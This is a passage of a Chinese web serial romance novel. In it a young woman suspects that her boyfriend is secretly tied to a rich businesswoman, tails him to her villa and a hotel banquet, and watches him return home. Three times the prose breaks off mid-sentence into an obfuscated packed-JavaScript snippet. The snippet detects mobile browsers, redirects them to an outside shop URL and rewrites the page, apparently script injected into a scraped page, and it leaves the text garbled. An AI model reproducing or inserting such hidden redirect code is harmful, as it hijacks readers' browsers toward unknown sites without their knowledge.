无尽星辉有限公司,世上本来只有两个人知道,自己和邹巡。 很明显,是邹巡请冯女士注册了一家公司,每日继续转账。 昭然若揭。 九十万,八十万。季桃想着这两个数字。 再过上几天,从冯女士公司得来的钱,在数量上将超过从神明那儿得到的,但从分量看,它已经远远超过了。 神明的“真爱奖”都没有做到的事,这八十万却轻易做到了。现在她相信,邹巡真爱季桃——他费尽心思瞒着季桃哄着季桃,从富婆那儿挣来钱,他愿意给季桃,这不是爱,什么是?你说什么是? 季桃不知该哭还是该笑。 . 季桃没有立即去问邹巡,她得自己先理清、理透。以前太轻敌了——不是轻敌,是压根没找到敌在哪儿。她以为喜欢邹巡的无非是和自己一样的女生,她以为她们追邹巡的方式无非是凑到他跟前,卖弄貌美和可爱。太天真了,睁大眼睛瞧一瞧啊,世界上还有冯女士那样的人物,你拿什么和人家抗衡? 站定,扭头往回看。好像一阵风吹散了山谷中的雾,又依次亮起了小灯,一串亮亮的灯把记忆照得清晰明了,显出了事情的脉络。 第一次见冯女士,是学校里,冯女士和邹巡导师正谈话。然后,在学校门口,窦意鸣、冯女士、季桃、邹巡——所有人聚齐了。自己当时还得意地想,邹巡走路的帅气、洒脱,把窦意鸣母子全“震”住了。哈哈,怎么不能是冯女士事先认得邹巡,突然发现“是他”而吃惊? 窦意鸣都说了嘛,冯女士认识伏线的老板,关系好到常在一起吃饭,其实,她大概是伏线的大客户、甲方吧。冯女士在科技园有公司,当然有可能见过邹巡,并向他老板打听过,知道他在J大读研。搞事业的人做什么都雷厉风行,冯女士过来赞助邹巡导师的创意实验室,以便拉上关系。好巧不巧,在校门口碰见了。你说,为什么冯女士看到邹巡后,一转脸,对儿子那个无足轻重的“学妹”,就由冷冷的审视变成满面笑容了呢? 没几天后,冯女士帮忙解决了演戏问题,并且亲身去看那场业余演出,在电话里,还热情地说:“让你男朋友去看吧。” 当时想着阿姨说话好亲切好和气,现在想想,人家是谁,日理万机的企业家,怎么会关心你这个只见过一次面的黄毛丫头,怎么会关心到连你的男朋友都没忘了? 那天演完戏,冯女士大概是打算过来说几句话,顺便和邹巡“认识”一下,可惜,被学校领导缠住了。不过,她要见邹巡还不容易吗,她肯定立即找到了邹巡,并告知自己在“演出风波”中的作用——不是显摆夸耀,就是要他知道罢了。 不然,邹巡从袁楚欣嘴里听到时,怎么没什么惊讶的样子?好,是他一向不爱大惊小怪,可以往碰到女朋友差点受委屈,就算解决了,他总要把其中经过细究一遍呀。 从今年七八月开始,公司给邹巡的工资奖金都高了不少,因为他“负责项目”了。他在伏线才干了一年,就算是能力强,他研究生还没毕业,还没和公司签正式合同,老板至于那么另眼相看,非要他负责项目? 对了,那次去科技园,中午的时候,不是正好看见冯女士,邹巡也是那时候回到公司,或许他们是在一起?当然,为了公事。 邹巡心虚,小顾也知道,所以那么热情,非要拉她进去坐。原来小顾是人精扮老实。他在公司职位不低,资格肯定比邹巡老,为什么同事们都说他“巴结”邹巡?因为小顾离老板近,老早就洞悉了真相。他当然要一口一个“季小姐”——适度的礼貌和客气,是为了掩盖同情还是笑话? 还有那次去冯女士的别墅为窦意鸣饯行。 还有崔喆的事。 像每次想起来那样,季桃心里难受了一下。她知道,仅凭一名好律师不可能和崔喆签成谅解协议,何况还是她“谅解”崔喆,肯定另有人在背后出力。她始终又愧又疚,不好意思多问,只从邹巡几句话里,模模糊糊凑出一个解释:他们公司刘总过意不去,提供了许多帮助。 其实,真正“过意不去”的人是冯女士吧。提供帮助,并非全看邹巡的面子,而是因为事情与窦意鸣沾了那么一丝丝关系——事情发生时,窦意鸣的好哥们崔喆口里不干不净讲的是窦意鸣和季桃。那些话,几乎不差一字,陈律师全部听说了,自然,邹巡也会知晓,并以此去“请求”冯女士。 季桃小幅度地甩了甩头,又笑了笑——对自己的嘲笑。邹巡其实挺爱吃醋的,从他以前提起“高医生”满脸的不痛快劲可见一斑,可他唯独对窦意鸣态度宽容。窦意鸣是冯女士的独生宝贝儿子,这是其一,其二,还不是因为季桃和窦意鸣绝无可能。邹巡深知冯女士的手腕和性子,季桃想往“豪门”里觑一觑?别梦了,梦不是这么做的。 那么,邹巡是在哪里转过这个弯了?他那样一个大男子主义的人。 还好,不是因为她季桃。比她进派出所要早,九月份呢。季桃长舒一口气,仿佛可以心安理得了。 但紧接着,她的脑中响起一个刺耳声音:邹巡是不是因为有了她这个女朋友,才充分认识到了钱的重要性? 不不,不是。季桃心里一停。不完全是。她是拜金,但很少在邹巡面前表现出来,倒也并非刻意掩饰,纯粹是忘了。和他在一起,有太多开心太多浪漫,真的没空理会关于金钱的“烦恼”。 而邹巡,与大多数男人一样,崇拜金钱追逐权力可能刻在骨子里了。想改变一个人的习惯和认知,都难于登天,更何况改变他的基因。——这不是小小季桃能办到的事。 不过,说他想要金钱权力,大概是把他说浅薄了,他的追求应该更“高”。 先前问过邹巡上大学时都做什么,答:“上课,打球,写代码。”她又问:“你的爱好都挺单纯啊,你就没有青春期迷茫?”言下之意是不信他那时毫无兴趣和女生交往。 “也迷茫,那时做所有事都是为了思考清楚一件事——”邹巡想了一会儿,可能觉得不好表述,索性引了《红与黑》中的一句话:“一个人在二十岁的时候,他对世界的看法以及他对他将在这个世界上产生的影响的看法,胜过其余的一切。①” 当时笑他“装”,搞半天,真是个于连呀。 他不大阅读文学作品,却能将这本书中的句子随口道出,显然对于连心有戚戚焉。 也别说二十岁了,“他将在这个世界上产生的影响”,永远永远重于其它一切。他不过是短暂地分了分心,该回正道上去了。 算了,别管他,还是关注自己的处境吧,该想想对策。 这种时候尤其需要冷静,别等邹巡一进门,就冲上去给他两巴掌,然后涕泗横流,她才不是男朋友变心,天都塌了的人。学学邹巡,他可是把自己看成“天”——神明给他钱他都可以不要,他知道神明靠不住,“真爱”靠不住,他要把所有东西都抓在自己手里。 但她不是什么都想要。她不会在男朋友劈腿后“斗志昂扬”,挑两身制服,玩点花样把他抢回来。——用不着,拍拍手,走人就是了。甚至,她和邹巡之间,有过情义,他们可以真正做到“好合好散”,来一场体面的分手,彼此祝福。 不过,空口无凭,走之前,还是得“耳闻目见”。这块“道德高地”,得实打实地站上去。 . “对了,你们领导有没有让你去陪客户吃过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077268|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭?”季桃在看手机,邹巡走过时,她无意间抬起头,问他。 “没有啊。”邹巡答得很自然,看向她,目光没挪开,“你们领导让你陪客户吃饭?” “不是我。今天跟谭一伊打电话,她那个同事喻珠,你还记得吧?” 邹巡皱了皱眉。 “谭一伊说以前他们老板和人谈生意都带喻珠,现在喻珠离职了,她担心以后老板要她去。” “让她别答应。” “说得容易,有的事情就是很难推掉。比如每次你导师喊你吃饭,你都去了。” “导师喊,当然义不容辞。再说有外面乱七八糟的人在,我们导师都不叫女弟子,只有我们几个男的。” 季桃明白,导师拉项目,或者出席其它一般性的社交活动,有时爱叫上两个学生一起,说是锻炼,主要目的是为了替他挡酒,所以一般不叫女生叫男生。 “外面乱七八糟的人里面要是有女的,你们导师叫你们,岂不是也不大合适?” “没有女的。”邹巡很肯定地说,“我们导师不会搞那些乱七八糟的事。” 季桃不怀疑邹巡导师的师德和人品,但冯女士和项教授谈论实验室项目,可是她亲眼所见。邹巡故意忘记了?再不然,事关冯女士,不算在“乱七八糟”的人和事之列。——他这是有点狡辩了吧。 邹巡的非工作手机上存有冯女士的电话,季桃看见了,全名全姓,冯铃兰。号码和上回窦意鸣给的是同一个。冯女士那样各类公务繁忙的人,不同用途的电话肯定更多,显然,这个号码只有最亲密的人才能知道。邹巡“大大方方”保留了几条通话记录,但只有最近一个月内的,也不多,四条,三次呼入一次呼出,通话时长都没超过三分钟,都是正常上班时间。 能说明什么?说明不了。 冯铃兰为什么给你打电话?对着邹巡清澈无波的眼睛,季桃把话咽了回去。冯女士的名姓她说不出口。 其实,她还有更臊皮不要脸的话想问:“你们男的是不是都喜欢熟女那种,像我,属于功夫不太行?”——更说不出口。 季桃很对自己窝火:她有什么好难为情的? 不过,不该问,压根就不该问。难不成她还想试探一下,试探邹巡和冯女士的关系——嗯——到了哪一步?或者说,邹巡目前是“身体出轨”还是“精神出轨”,还是二者皆是? 这个问题仅在季桃脑中一晃,被她赶走了。 事到如今,还有什么区别吗? 而且太低级。应该换个高级点的问题:邹巡和冯女士到底是什么关系? 当然是你情我愿的,大家都是文明人。他们之间,应该是一种成功人士最喜欢和同类达成的关系——合作关系。 也就是向彼此展现并提供自身的优势,利益交换,达到共赢的目的。 年龄不是问题,冯女士有阅历有智慧,热情爽朗,季桃懂得她的吸引力。 冯女士的心思,季桃觉得更容易揣摩,她肯定不仅仅看中邹巡的外在。市场不知是什么行情,不过单纯想找帅哥的话,肯花钱一定找得到。时间宝贵,谁放着省事不干,非要费这么多心?冯女士对邹巡,大概多多少少有点“惜才”的味道——要是窦意鸣有邹巡的心性就好了。可惜没有,冯女士无处安放的栽培之心,正好在邹巡身上找到寄托。 也不必担心他过河拆桥,翻脸不认,邹巡毕竟不是个职业骗子。他还很重感情,他对他的小女友不是挺好吗,不离不弃。 这样,也正好能解释,为何从邹巡身上看不到憋屈的迹象。 因为他不是受人摆布,所以用不着挣扎。他有头脑,不用靠脸吃饭——当男的真容易,皮囊过得去,再有点脑子,就可以轻轻松松软饭硬吃。 不过在邹巡这里,还不止是脑子的事。 季桃回忆起在酒吧邹巡和廖展飞的交锋。他比廖展飞锋芒更胜,还比他沉着有气度。邹巡的确是个成熟的人,不是个纯情大男生、毛头小子。甚至和冯女士比,他都更胜一筹——邹巡有本事让冯女士答应给他的现任女朋友季桃打钱。 季桃仿佛听见邹巡用平静的语气对冯女士说:“可以按你的意思办,不过,要保障季桃的利益,不能让她知道我们的事。我就这唯一一个条件。” 他真特么有良心啊。 43. 跟踪 【晋江文学城全文免费,感谢阅读正版】 季桃打算获得“实据”再向邹巡摊牌,可又不能让他察觉,这段时间内,还得和他“同床共枕”,这成了个问题。 在床上,十次有十次,都是她“依从”邹巡。邹巡上床后是个彬彬有礼的强盗,逻辑当然也变成了强盗逻辑。要是她说:“不想,不愿意。”他会答:“我可以让你愿意啊。” 他还说过:“别的可以商量,这个没办法。要么我求你,要么你求我。——我都行,你喜欢哪样?” 当然,她并非真正“不愿意”。不然,谁也不是吃素的,怎么可能没办法——她知道怎么在他还彬彬有礼的时候巧妙地避开去。 周一那晚,邹巡在床上刚搂住她,季桃拍他胳膊:“这么禽兽,姨妈还在呢。”其实要是精确到以小时计算,她的生理期在几个小时前已经结束了。 “我就抱会儿。”邹巡还是抱着她。 “那你忍不住可别怪我啊。” 邹巡笑了:“首先,我就不能忍住不抱。” 过了一会儿,他忽然又说:“其实,我确实做过一件真的禽兽、对不起你的事。” 季桃心都快跳出来了,好半天不敢发出声音。 “嗯?” “那次你半夜给我打电话。” “哪次?” “我以为你玩大冒险那次。” “误拨电话那次?——怎么了?” “挂了电话后我一直在想,你的声音真好听:本来就好听,那天说话声音又很小,还有点迷迷糊糊——一听就是躺着说话,就像你现在。之后,我就睡不着了,满脑子都是你躺在那儿,实在忍不住,只好……去打飞机。” 季桃转头看着他,瞪圆了眼睛。一点儿没猜到会是说这个,不过,这个事,也有点让她……她不由缩了一下。 邹巡搂紧她:“是我不好。要是当时你就知道,肯定得恨死我,而且,你还在大姨妈——我没有想大姨妈,但是,不管怎么说,你正不舒服,我还想着你……” 季桃打断他:“你当时都没见过我脱……谁知道你想的是谁?” “就是你啊,你穿着衣服我见过,我总还是有点想象力吧。”邹巡着急反驳,也不管想象力一词用在这里合不合适。 “想我更不行,你怎么能——”季桃气结,“谁允许你用我的脸脑补一堆不堪的画面?” 邹巡愈发着急:“没有不堪,虽然那时我想的没有你本人美,但一点儿都没有不堪。——是,我知道,说破天也是我不对。尤其是,第二天看见你,我还装作没事,我看你一点儿都没想到,又松了口气,又惭愧。我一直觉得挺对不起你。” 枉她那次在电话挂断后,还辗转反侧、忐忑不安好久,猜测他的想法——在那个她心情复杂的夜晚,他竟是想着她打飞机! 其实,后来,他们成为恋人后,也问过他的。 问:“你半夜接到我电话,是不是超高兴?” “当然了,我超超高兴。” “那你怎么不多和我说几句?” “我倒是想,但我不敢啊。我不知道你是不是喜欢我。你是误拨了电话,再说你还不舒服,我哪能那么自私,大半夜抓你陪我说话。” 当时心里偷笑,想他真是直男脑筋。——确实是直男脑筋,太直了,想着打飞机呢。 季桃久久没吭声,邹巡急道:“别生气了,我向你道歉。我诚心道歉,不然我就不会说出来了。我当时不该那么想,那么做,做了后也不该一直不告诉你,但是,任何时候承认都不晚,是不是?而且,既然咱们现在已经……” “不行,”季桃从他怀里挣出来,滚到一边,“反正我暂时接受不了。” 其实她没有很生气。她只是有点儿伤心。 伤心什么呢,这还觉得意外不成?邹巡就是个寻常男人,并且爱她。 想着她打飞机是爱?打完飞机面对她愧疚是爱?时隔多日,有了更加愧疚的事,便把前情拿出来“坦诚相告”是爱?对,她不怀疑邹巡爱她,现在还很爱。可她怎么反倒觉得,比起眼前这个“成熟、坦诚、深情”的男人,那个满脑子想着解决下半身问题的“猥琐”男生,对她更像是真情?是的,就连想着她打飞机,都比现在更像是真情。 反正,已经决定要和他分手了。季桃半真半假地介意,拨开邹巡的手。 “别说了,我困死了。这几天,你都别靠近我。” 接下来几天,她总是想法儿躲开邹巡,只给他一个背影。 一连几个晚上,都是如此。季桃想,他“吃不饱”,大概就该琢磨着溜出去了吧。 周一到周四,邹巡天天不加班,下班了,去季桃公司接她一起回家。吃完晚饭,季桃想看剧他就陪着看剧,季桃想打游戏他就陪她打游戏,季桃看书看手机,他也去看他喜欢的书或比赛。 很平淡的夜晚,一如每一对激情燃尽却还留有余温的恋人。 一直到周五。周五上班路上,邹巡说:“今晚有事,下班你自己回去吧。我回家晚,可能挺晚,你先睡。” “哦,行。”季桃恹恹地说,“我叫个车。就是周五可能不太好叫。” 到下午,邹巡又发消息:今天忙不忙?晚上在哪儿吃饭,要不要我先订好? 正好,今天公司发了水果,季桃回复说:不用,我在楼下吃完回去。我们发了一箱青提,我不想自己搬上楼,那今天就先不拿回去了。在公司放到下周一,不会坏吧? 邹巡回:拿回家吧,下班我接你,先送你回家。 其实用不着这么麻烦,一箱青提才五斤,她当然拿得动。不过,既然你都这么说了。季桃冷笑着嘀咕。 一出公司门,她就看见邹巡在老地方等着。一般他坐在车里等,今天专门下车帮她拿水果。箱子实在不大,季桃却如释重负地丢给他,故意甩着手腕:“好沉。” 在路上,邹巡接了一个电话。季桃想起,邹巡从不用车载蓝牙接打电话,她在车上的时候,基本没见他接过电话。不过,这次遇到红灯,他从兜里掏出震动的手机,看一眼,放在耳边。 “我回趟家。”对方不知是什么人,冯女士的助理?邹巡语气淡漠,“不用,我开过去,你直接去,在那儿等我。” 短短几秒,季桃决定,与其假装没注意,不如主动站到亮处。才几天,她已经地掌握了和他斗智斗勇的办法。她说:“你要是有事不用送我啊,我自己回去也一样嘛。” “没事。”邹巡说,“不是多么重要的事。和人约了见面,他们问要不要接我,不是催我的意思,时间还早。”他认真地解释。 不赖嘛,挺会装若无其事的。季桃想。 “你别上楼了,晚上回家再把提子拿上去。” 邹巡说:“好,你好好吃饭。” 邹巡把季桃放在小区旁边的几家小饭馆门口。季桃人已经走进馆子,扭头看见邹巡走远,三两步跑去路边,拉开车门——刚才假装玩手机时叫了辆车。 “师傅,你帮我跟住前面那辆白色宝马,车牌1567那个。你先跟着它,要是路线不对我随时改目的地。到了不管车费多少我再加你两百。” 司机师傅看了眼季桃,又往前面瞅:“白色宝马?他要调头还是左转?” 红灯变绿灯了,邹巡在第一个,调头往回开。两车交错时,季桃不由自主低下脑袋。 师傅赶在变灯前也转过来了。还在下班高峰期,路上车不少,开也开不快,师傅硬往前挤,追到相隔两辆车时,季桃说:“别太近了,别让他发现。” 师傅笑道:“我还是头一回干这个,挺有意思嘛,和演电影一样。” 季桃觉得师傅水平不错,想夸他几句,又怕分神。她藏在副驾座椅后,盯着邹巡的车,眼都不敢眨一下。 她叫车时终点定的是邹巡公司,而现在看他的路线,正好是返回公司。难道是在公司见面,再一起去某处吃饭?等到了科技园门口,他直接接上对方?要是他进了地库,就没法跟了,要不要等他出来?季桃不知道自己想要一个什么样的结果。 她只能走一步看一步,便这么到了科技园。邹巡没停下,一路往南开去。 季桃让师傅继续跟着。一路上,车辆渐行渐稀。望着不熟悉但也并非全然陌生的街景,季桃终于悟出邹巡是要去哪里了——冯女士的别墅。 “停路边吧。”到了别墅区入口对面,她对师傅说。 没料错,邹巡继续往前,在下个路口掉头,向右驶入止园大门。季桃看得仔细,他没有停车,没有门卫询问,门禁自动开启,他便进去了。 “回去还是?”司机师傅回头问季桃。 “等一会儿。” “我抽根烟。”师傅下了车。 季桃愣愣盯着马路对面的别墅区。 邹巡不是第一次来。当然不是,转账从九月二十五日开始,都快三个月了。可是,看到他本人——确切说是看到他的车,比看到一个日期,究竟直观得多,冲击力也大得多。 特别是在这个地方。单价二十万,整栋一两个亿,半亩私家花园,门禁森严的高端别墅区。 到这一步还不够么?她是不是该打发走师傅,走到对面门口等着,等邹巡出来,上前拦住车,当面问他?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081709|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她可没底气拦邹巡——想当初,她还想和窦意鸣在一起呢,怎么了? 假如窦意鸣本人拥有一套八百平米的别墅,站在别墅前向她表白,那么那晚神明来,她会怎么选还不一定,不是吗? 半斤对八两,谁也别说谁。 不过细想想,邹巡还是比她高明。对她来讲,是挑八百平的大别墅还是八十平的出租屋,一整个儿物质;而邹巡,是在两个人之间选。 一边是女企业家,她的成熟、她的经验、她的精明以及她能提供的全部资源、人脉和指点,一边是刚毕业的“清纯女大”,毫无来头、浅薄幼稚、傻乎乎、只会白日做梦、但相处了两年的小女友。 这样的题目就难多了,但在一个野心勃勃的大脑面前,答案仍然是一目了然的。 谁不想出人头地?邹巡当然也有自己的目标。季桃甚至觉得有点儿对不住他了。她从来没有问过邹巡的目标,他的梦想是什么。 若没有冯女士,就是他一个人单打独斗,除了口头说几句好听的鼓励话,除了两眼放光地看着他,那个小女友可什么忙都帮不了。 邹巡没错,他想要做成一件事,“大事”。 她不是不能理解,但,理解得建立在这样的基础上:邹巡先和她分手,再去追求他追求的东西。而不是像他现在这样,一面仰慕干练的女企业家,一面又舍不得有一双纯真眼眸、一张无邪笑脸、茫然无知的小女朋友。追着一个,拽着一个,玩这个规则复杂、不透明、不公平的游戏。 想当初,她做好的打算是和邹巡分手,可没有想要骗他。 这一会儿时间,有两三辆车从别墅区大门出来,都不是那辆普通、平凡、毫不起眼的白色宝马。 季桃不想再等下去了。没意思,就是进到小区里面又如何,徒然让别人看了笑话。 她不禁猜测冯女士为何与窦意鸣的爸爸离婚,她是不是曾遇到过类似的事? 季桃自己对自己摇了摇头。即便遇到过,冯女士的应对肯定不同。她那样的人,假使丈夫或男友出轨,肯定不屑于去找那个“小三儿”,更不会上人家的住处堵门。她会不动声色整理好证据,平心静气放在男人面前。 可她季桃呢,她有什么证据,一份银行流水,一次没有拍下照片的目击?她怎么对邹巡讲?——我知道你和冯女士的事,你去她别墅了,你对不起我。好笑不好笑?哪里对不起,人家的钱都拿给你花了。你不知道的时候,不也过得美滋滋吗? 季桃突然发觉整桩事的滑稽。 季桃下定决心时,司机师傅正把第二个烟头在地上碾死。过了瘾,他上车问:“走不走?” “你把微信给我。”季桃扫给师傅三百,两百是事先说好的,一百是从邹巡公司到这里——要不了这么多,但毕竟让师傅等了这么久。 “回去吧。我线上叫车,麻烦你接下,谢谢。”季桃打开APP。 师傅把四面车窗都往下摇了摇,笑着说:“你们小姑娘讨厌烟味,散一散。” 季桃从后排左窗一巴掌宽的敞口看出去,又向对面小区望一眼。 一辆车从里面开出来,拐到路上。灰紫色的SUV,和冯女士的车一模一样,要不然,它就是冯女士的车。 可惜没看到驾驶人。 季桃的心剧烈跳动,把血液泵向脑袋。瞬时,她的脸又热又涨,整个脑袋又热又涨,刚才冷静做好的决定全部丢了,找不见了,不作数了。“追那辆车,紫的。”她手一指,“快,前面调头,还能不能追上?” 师傅奇怪地看了看她,没说什么。 七点四十五,天已经很暗,路两旁亮着一溜街灯。这次跟踪要轻松许多——白色轿车马路上要多少有多少,而灰紫色的宾利SUV,此时,只此一辆。 驶了不到四十分钟,驶入了一片繁华的街道,摩天楼外的灯光波浪般闪烁。“那边是家酒店,车要进去。”师傅说。 的确,路旁是某酒店。灰紫色车跟在两辆车后,缓缓移动,准备进入落客环岛。灌木和翠竹的绿篱将酒店大门与街道隔开,除非一起跟进去,否则,没法看见下车的客人是谁。 “往前面停一点。”季桃对师傅说。 过了酒店大门,师傅停下。 “麻烦你再等一下我。”季桃一边说一边跳下车,回身跑了几步,跑到酒店门口,藏在一只大大的景观树盆后。树盆和墙之间有道狭缝,有两秒钟的时间,季桃在想:如果以后自己给常有明星出入的酒店设计外部景观,一定要避免这种给狗仔队可乘之机的设计。接着,透过狭缝,她看见美丽的灰紫色车显现在门廊顶棚金黄的灯光下。 44. 纽扣 冯女士并没有立即下车,而且还打开了车内的灯,清清楚楚地显示出车里只有她一个人。 一刹那,季桃真希望自己是在家,坐在床上看剧,度过一个休闲宁静的夜晚,但羞惭之感把她整个人钉在原地,她呆呆望着冯女士在驾驶座上半弯下身,好像是在换鞋。 很快,冯女士下了车,在旁边候着的制服笔挺的泊车员钻进驾驶室,季桃又呆呆盯了这个人一会儿,直到他将车启动。 季桃回过神时,冯女士已经步入高阔的拱门了。烟灰色薄大衣下,藕荷色钉珠裙悠然一摆,眨眼间,高跟鞋的足音消失在幽深静谧、半明半暗的大厅深处。 邹巡在哪儿?此刻。 有没有可能刚才跟错了?是不是外观相同、车牌相似的另一辆宝马?邹巡是不是正在和别人吃饭?说不定他现在已经回到家,发现她不在,马上会打电话来问。 季桃摸出手机,空空的,没有电话,没有讯息。 她说不清该高兴还是失望,说不出是希望今晚就把一切疑团解开还是盼着再多拖几天,再给邹巡一个把事情解释明朗的机会。 她也不明白自己为什么还不离开。她继续站着,看着。一辆接一辆弧线优美的车在门廊下停住,车身被金黄的灯光映得闪闪发亮,一对夫妇下了车,又是一对年老些的夫妇……气度不凡的客人们陆续步入大厅。 渐渐地,宽阔的门廊变得寂静,星星点点的灯光幽幽照着深灰的车道,树影轻摇,沙沙作响。季桃像是从梦中醒过来,再一次拿出了手机。 给邹巡打电话,跟他说想马上看见他,然后回家等着邹巡。 话还是说出来好。 就好像当初和邹巡“暧昧”的阶段,她整天琢磨来琢磨去,心里时忧时喜,固然,是特别有意思,可是,什么都比不过在篮球馆,邹巡搂着她,说出“我女朋友”的一瞬间。那一刻,头顶上所有大功率投光灯加在一起,功率再大十倍,都没有她心中那么明亮。 不过那时的胡思乱想大都是独自一人时,当邹巡在身边,望着她,她是笃定的:他总有一天会表白。她只是怪他有点拖延而已。 而现在不同,即使看着他的眼睛,她也不能百分百确定。 可能现在的事情太复杂了。所以,不是更应该用明确的语言讲清楚? 她和邹巡可以把一切讲出来。邹巡会告诉她冯女士,不管是不是误会,她同样要把这几个月来心里的疑虑全部告诉他。对,先从毕业那时候说起。关于未来……是分手,还是继续走下去,他们两个人会在今晚做出决定。 季桃的食指悬在邹巡的名字上,迟迟不动。 这时,又听见一道驶近的车轮声。大概是最后的客人了,季桃的心猛跳起来——如果车上坐着一对,就立即给邹巡拨电话,如果是单身客人,就……她重新趴在树盆上,望了一眼。 一辆黑色轿车。 瞬间看清楚只有驾驶位坐着一个人,季桃的心空了一下,接着便看见车门打开,穿西装的青年男子从驾驶座上站起,身影令人注目。他炯炯的黑眸向季桃的方位掷来冷酷锐利的一瞥,季桃动弹不得,浑身的血液都冰冷了。 她以为邹巡会几步跨上前,一把将她拎出去。——是她的错觉,邹巡什么都没发现。短短一霎,他便转开目光,随手把西装中间那颗纽扣扣上,心不在焉从泊车员手里接过卡片,从车前绕过,旋即便大步往酒店里面去了。 季桃望着那个挺拔的背影,不能控制自己,无法挪开视线。 数不清多少次,她在心里设想邹巡穿西装是什么模样,谁知竟是今天看到。 确实很好看,可是,她宁愿永远不要看到他这个样子才好…… 酒店里不知举办什么晚宴,八成是商务宴会吧,冯女士确实不便和邹巡一起进去。不过,等他们在宴会厅里碰面,就可以像其他人一样——手里擎着高脚杯,三三两两,成双成对——自在地攀谈;可以看着对方的眼睛微笑,用目光传达言语的未尽之意。 大概也没有那么肉麻,想象不出邹巡会用那种目光看谁。他应该是淡淡扫视四周,随意而小心地端详其他人,犀利地估出他们的斤两,像于连第一次步入上流社会高贵的客厅。这个马上满二十八岁的于连——他比刚出场的于连大了快十岁,他已经克服了小青年的羞怯和生硬,对,他甚至不会羞怯。 他穿戴好一副翩翩的举止,就像穿上一套翩翩的西装,合身合体,好像他生来就穿着一样。由里到外,他都是无懈可击的。 冯女士会轻轻碰一下他胳膊,带他去见值得认识的任何一个人。 究竟没有猜错,冯女士不是挑一个男伴,挑一个男模店就能找到的小伙子,她的追求远远高得多,而邹巡,恰好拥有为她看重的种种可贵的品质。 还以为跟在女人后面会危害他大男子的自尊,根本没那回事。他的自尊心恐怕从没有得到今日这般的满足——他完全有能力和酒店满屋子里的人平起平坐,不就是少个机会? 好一块稀世奇珍,终于被人发掘出来了,而她季桃,才是伤他自尊,小觑他的人。从和他在一起第一日,直到现在,她始终当他是个帅帅的男朋友罢了。 季桃想起,上回画展后,她和邹巡站在高楼露台上,城市的繁华璀璨尽收眼底。那时候,他的眼睛灼灼明亮,燃着火光——那是蓬勃的野心和澎拜的激情才能燃起的火。他的梦想大概已经实现一半了,她怎能不为他高兴? 宴会后他会做什么? 和冯女士再单独开一次香槟吧。 季桃轻轻翘起嘴角。 她不讨厌于连式的人物,甚至可以说是欣赏,但作为自己的男朋友,则是另一码事了。 当然,若是不服,完全可以找到宴会厅,堂而皇之进去,突然出现在邹巡面前。他的表情肯定很有趣。 可惜,说她爱惜脸面也好,怯懦也好,她真没那种豁出一切的勇气,她最多只能当个狗仔,而不敢大锣大鼓,面对面与他对峙。 不过,季桃还是站着,把那一幕场面想了好久。 冬日的夜风很冰很冷,直钻到骨头里。该回去了。 . 听到邹巡进门,季桃飞速摸出手机在被窝里看一眼,十二点四十九分。 回来挺早呀。午夜狂欢呢? 她听见邹巡悄声换鞋,脱掉外套。然后,他走来关卧室门——临睡时她留着这扇门没关。 “你回来了?”她问,装出刚从睡梦中醒来的声音。 “我回来了。吵醒你了?”邹巡走进卧室,歉然说。季桃微微张开眼睛,看见他还穿着今早出门时穿的一身。 要不是她一直没睡着,她肯定以为今夜发生的所有事只是个梦而已。 “几点了?”她问。 “十二点五十一分。”邹巡从裤兜里摸出手机,低头看看。 “怎么这么晚?”季桃嘟哝着抱怨。 “有挺多事。”他的声音中带着歉意,“别说话了,快睡吧。”他说。 “你把水果带回来了?” “桌上呢。”邹巡似乎在笑,“早知道那时候我先回来放家里。你是不是一直等着想吃葡萄?还是想我?” 他俯身,在她脸上亲了亲。没有酒味,没有香水味,他身上只有他自己的味道,年轻男人的气息,新鲜、蓬勃,清新如刚割过的草坪。 “不是葡萄,是提子。”季桃纠正,合上眼。 午夜一过,迈巴赫变回普通轿车,高定西装变回套头卫衣,灰小伙回到他租的七十平米的房子——这个故事可真有意思,比梦有意思。 与童话不同,金钱的魔力不会随着钟声消失,他本可以不必回来的。 季桃还是没睡着,听着洗手间哗啦啦的水声。 邹巡走进屋子,在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087296|192693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边坐下。他用手触触她的嘴,把一粒圆圆的东西滚到她唇上。季桃张开口咬住,果子又香又脆,清清甜甜的滋味在嘴里弥漫开。 “还要。” 邹巡又拿一粒放在她嘴边,俯身吻她。提子表皮光滑、结实,被饱满的果肉绷得紧紧的,像一粒假水果,可是牙齿轻轻一咬便也破了。季桃把它咬破在自己和邹巡的嘴唇中间。 果肉脆硬,搅不烂压不扁,被舌头碾着,又反过来挤着舌头。两个人分开,各自匆忙咬了两下,再迫不及待把嘴唇封在一起。 